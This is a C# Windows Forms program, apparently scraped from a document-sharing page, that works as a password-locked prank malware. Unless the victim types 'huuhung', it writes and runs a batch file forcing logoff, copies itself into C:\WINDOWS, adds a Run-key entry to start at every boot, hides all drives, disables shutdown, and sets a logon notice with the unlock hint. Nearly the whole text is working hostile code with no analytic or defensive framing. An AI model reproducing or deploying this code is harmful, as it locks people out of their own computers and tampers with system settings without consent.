Sie sind auf Seite 1von 5

using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; using Microsoft.

Win32;

namespace test_Registry { public class Form1 : Form { private string path = "C:\\WINDOWS\\hung.cmd"; private IContainer components = null; private TextBox textBox1; public Form1() { this.InitializeComponent(); } public void Read() { StreamWriter streamWriter = new StreamWriter(this.path); streamWriter.WriteLine("shutdown -l -f -t 10"); streamWriter.Close(); Process.Start(this.path); File.Copy("huuhung.exe", "C:\\WINDOWS\\huuhung.exe", true);

RegistryKey registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer"); registryKey.SetValue("NoDrives", 67108863); registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\system"); registryKey.SetValue("legalnoticecaption", "Bao Dong"); registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\system"); registryKey.SetValue("legalnoticetext", "Chao ban! May tinh cua ban gap 1 so van de nho. Cach duy nhat khac phuc tinh trang nay la ban hay nhap vao 'huuhung' trong o textbox. Chuc ban vui ve !"); registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer"); registryKey.SetValue("NoClose", 1); registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentV ersion\\Run", true); registryKey.SetValue("huuhung", "C:\\WINDOWS\\huuhung.exe"); } public void DeleteRegistry() { try { RegistryKey registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer"); registryKey.DeleteValue("NoDrives"); registryKey =

Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\system"); registryKey.SetValue("legalnoticecaption", ""); registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\system"); registryKey.SetValue("legalnoticetext", ""); registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\Policies\\Explorer"); registryKey.SetValue("NoClose", 0); } catch (Exception) { } } private void textBox1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return) { if (this.textBox1.Text == "huuhung") { File.Delete(this.path); this.DeleteRegistry(); } else { this.Read();

} Application.Exit(); } } private void Form1_FormClosing(object sender, FormClosingEventArgs e) { if (this.textBox1.Text == "huuhung") { Application.Exit(); } else { this.Read(); } Application.Exit(); } protected override void Dispose(bool disposing) { if (disposing && this.components != null) { this.components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() {

this.textBox1 = new TextBox(); base.SuspendLayout(); this.textBox1.Location = new Point(33, 27); this.textBox1.Name = "textBox1"; this.textBox1.Size = new Size(147, 20); this.textBox1.TabIndex = 0; this.textBox1.UseSystemPasswordChar = true; this.textBox1.KeyDown += new KeyEventHandler(this.textBox1_KeyDown); base.AutoScaleDimensions = new SizeF(6f, 13f); base.AutoScaleMode = AutoScaleMode.Font; base.ClientSize = new Size(213, 96); base.Controls.Add(this.textBox1); base.FormBorderStyle = FormBorderStyle.SizableToolWindow; base.Name = "Form1"; base.StartPosition = FormStartPosition.CenterScreen; this.Text = "Design by HuuHung"; base.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing); base.ResumeLayout(false); base.PerformLayout(); } } }

Das könnte Ihnen auch gefallen